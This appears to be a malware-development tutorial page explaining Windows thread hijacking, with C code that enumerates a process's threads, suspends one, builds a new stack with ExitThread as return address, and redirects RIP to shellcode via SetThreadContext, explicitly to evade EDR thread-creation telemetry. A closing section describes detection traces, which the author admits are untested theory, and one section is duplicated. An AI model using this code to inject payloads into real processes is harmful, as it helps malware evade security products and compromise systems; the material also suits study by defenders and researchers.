> For the complete documentation index, see [llms.txt](https://www.adroxz.foo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.adroxz.foo/maldev-otd-and-re/thread-hijacking.md).

# THREAD HIJACKING

<figure><img src="/files/08sosbuRcDjou2FjgKHw" alt=""><figcaption></figcaption></figure>

### 1. The Injection Problem

The era of dropping the malware on disk and running it was long gone, and what replaced it was executing the payload from memory, without it even touching the disk. But, with time even the in-memory injections got burnt.\
The very basic flow of in-memory execution used remote/local injection which followed this process-

* Allocate memory to store the payload, using `VirtualAllocEx`
* Write the payload in it using `WriteProcessMemory`
* Create a remote thread in a process using `CreateRemoteThread`\
  **But even this has been getting monitored and flagged aggresively from a long time, using the following techniques by the defensive products**-
* **Userland Hooks** - EDR DLLs inject every process with `ntdll!NtCreateThreadEx` to catch new threads creation in unexpected processes
* **Kernel Callbacks** - Every time a new thread is created, `PsSetCreateThreadNotifyRoutine` fires up providing the creator's PID, the new thread's TID, andthe  start address
* **ETW Thread Intelligence** - Exposes `ThreadStart` events with the start address for subscribed security productsAnd*d this is just a small part of defensive products*

But 1 trend that follows all three defensive measures is the detection and monitoring of creating new threads

### 2. HIJACKING ALTERNATIVE

Thread Hijacking eliminates this part, instead of creating a new thread to execute our payload, it hijacks an already created thread of any other process and redirects its flow to our payload, because the target thread was already running and already had a valid kernel thread object, we bypass the thread creation telemetry.

### 3. THE MECHANICS OF CONTEXT SWITCHING

```c
SuspendThread(hThread);              // Pause execution
GetThreadContext(hThread, &ctx);     // Snapshot register state (CONTEXT_FULL)
SetThreadContext(hThread, &ctx);     // Overwrite registers (typically RIP/RSP)
ResumeThread(hThread);               // Resume — thread now executes from new RIP
```

* **SuspendThread** – Pause the target thread so its registers and state remain stable.
* **GetThreadContext** – Capture the current register snapshot, especially `RIP` and `RSP`.
* **SetThreadContext** – Overwrite `RIP` to point to your shellcode, and optionally adjust `RSP` (stack pivot).
* **ResumeThread** – Let the thread run, now executing your code.

*`GetThreadContext` Requires the thread to be suspended; otherwise, you get stale or inconsistent data. The `CONTEXT` structure on x64 is approximately 1232 bytes and contains the full CPU register file.*

### 4. CPU REGISTERS 101 (x64)

Two registers that we should know for hijacking a thread are

* **RIP - Instruction Pointer**
  * Points to the next instruction that the CPU will fetch and execute. Overwriting this redirects execution.
* **RSP - Stack Pointer**
  * Points to the top of the thread's stack, used for function return addresses, local variables, and calling convention bookkeeping.\
    When `ResumeThread` is called, the scheduler eventually context-switches back to our thread, and the CPU fetches the instruction at `RIP`. If we've pointed `RIP` at our shellcode, execution begins there.\
    \&#xNAN;*We'll talk about how this is used in the hijacking later*

### 5. CODE WALKTHROUGH

I have 4 POCs for this technique, but I'll explain only one (the most technical one here), once you understand it, you'll get theothert three as well (2 of them are using thread creation anyway, useful for educational bpurposes ut useless from an OpSec POV because the entire point of Thread Hijacking is to not create Threads)

**Step 1) Enumerate Running processes and get the target process's Thread Handle**

```c
BOOL GetRemoteThreadHandle(DWORD OwnerProcessID, DWORD dwSkipTID, DWORD *TargetThreadID, HANDLE *HThread) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return FALSE;

    THREADENTRY32 te = { .dwSize = sizeof(te) };
    BOOL found = FALSE;
    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == OwnerProcessID && te.th32ThreadID != dwSkipTID) {
                *TargetThreadID = te.th32ThreadID;
                *HThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                found = TRUE;
                break;
            }
        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);
    return found;
}
```

The `CreateToolhelp32Snapshot` function basically takes a snapshot of all the running processes, then we walk through the Snapshot to find the target process using

* `Thread32First`
* `Thread32Next`
* `*HThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);` opens a full-access handle that belongs to the target process\
  After successfully finding the target process we'll get it's target process\
  \&#xNAN;*There are two more ways for doing this but talking about them here would take too long so I'll make a different post entirely for this*

**Step 2) Suspend the thread and extract its context**

```c
BOOL HijackThreadWithStack(HANDLE hThread, PVOID PayloadAddress) {
    CONTEXT ctx = { .ContextFlags = CONTEXT_ALL };
    SuspendThread(hThread);
    if (!GetThreadContext(hThread, &ctx)) {
        printf("GetThreadContext failed\n");
        ResumeThread(hThread);
        return FALSE;
    }
```

* We need to suspend the thread before extracting its info to properly get it, as I said before
* `GetThreadContext` reads the current `RIP`, `RSP` and all the general-purpose registers into a `CONTEXT` structure.
* We set `ContextFlags` to `Context_All` to retrieve everything, though we only need `CONTEXT_FULL`

**STEP 3) Allocate a new stack for the hijacked thread**

```c
	const SIZE_T stackSize = 0x10000;
    LPVOID newStack = VirtualAlloc(NULL, stackSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!newStack) {
        printf("Stack allocation failed\n");
        ResumeThread(hThread);
        return FALSE;
    }
```

* We first allocate a Readable/Writable memory region -> write our payload to it, and then turn it into a Readable/Executable region. Cos RWX(Readable/Writable/Executable) memory region is a big red flag for EDRs
* So we allocate a Readable/Writable memory region with 64KB, which is enough for our shellcode

**Step 4) Place ExitThread on top of the new stack & overwrite RSP & RIP**

```c
	DWORD64 top = (DWORD64)newStack + stackSize;
    top &= ~0xF;
    DWORD64 *stackPtr = (DWORD64*)(top - 8);
    *stackPtr = (DWORD64)ExitThread;

    ctx.Rsp = (DWORD64)(top - 8);
    ctx.Rip = (DWORD64)PayloadAddress;

```

* The stack grows **downward** on x64, so `newStack` is the base (lowest address) and `newStack + stackSize` is the initial highest address.
* `top &= ~0xF` Aligns the top address to a 16-byte boundary, as required by the x64 calling convention.
* We write the address of `ExitThread` at `top - 8`. This simulates a return address that was “pushed” by an `CALL` instruction. When the shellcode executes a, it will pop this address and jump to, terminating the thread cleanly.

**\*Important:** Here we use the locally resolved `ExitThread` address. Because this demo hijacks a thread inside the same process, the address is correct. For **remote** process injection, you’d need the address of `ExitThread` inside that remote process\*

* `RSP` Now points to the new stack, just above the “pushed” `ExitThread`.
* `RIP` Points to the beginning of the shellcode.

**Step 5) Apply the Modified Context**

```c
if (!SetThreadContext(hThread, &ctx)) {
        printf("SetThreadContext failed\n");
        VirtualFree(newStack, 0, MEM_RELEASE);
        ResumeThread(hThread);
        return FALSE;
    }
```

* `SetThreadContext` Writes the new register values back to the thread kernel object.

***

### 6. EDR TELEMETRY & DETECTION

Even with the perfect pivot, thread hijacking leaves forensic traces

#### Thread Start Address Anomalies

Many EDRs inspect the `ETHREAD` kernel structure and compare the thread's `Win32StartAddress` (set when the thread was first created) With its current execution location. If a thread that was created to run `ntdll!RtlUserThreadStart` suddenly executes code in a private `VirtualAlloc` region, it's flagged. Hijacking does not update the start address, so you rely on the gap between the start address and current `RIP` not being checked in real time or on the thread running briefly before detection.

#### Memory Scanning

A standalone `PAGE_EXECUTE_READ` region not backed by a module on disk is suspicious. EDRs routinely scan private executable memory for known shellcode signatures. Advanced payloads encrypt themselves or churn memory, but the mere existence of an unbacked executable region can be an IOC.

#### ### Call Stack Analysis

When a kernel event or ETW trace captures the stack, the EDR can reconstruct the call stack. A normal thread has a coherent chain of return addresses pointing back through DLL functions. Hijacked threads, after a context switch, often show a *broken* call stack, an inconsistent frame pointer chain, or a stack base that doesn’t match the thread’s original stack limits. Skilled defenders detect thread manipulation by comparing `RSP` against the thread’s stack bounds in the `TEB` (Thread Environment Block).

*The EDR & telemetry are from my theoretical knowledge, I'll update this section after testing it under a proper system with EDR and telemetry setup*

***

### 7. Conclusion & Source Code

#### Call Stack Analysis

When a kernel event or ETW trace captures the stack, the EDR can reconstruct the call stack. A normal thread has a coherent chain of return addresses pointing back through DLL functions. Hijacked threads, after a context switch, often show a *broken* call stack, an inconsistent frame pointer chain, or a stack base that doesn’t match the thread’s original stack limits. Skilled defenders detect thread manipulation by comparing `RSP` against the thread’s stack bounds in the `TEB` (Thread Environment Block).\
Source Code - <https://github.com/Adroxz1122/Thread-Hijacking/tree/main>
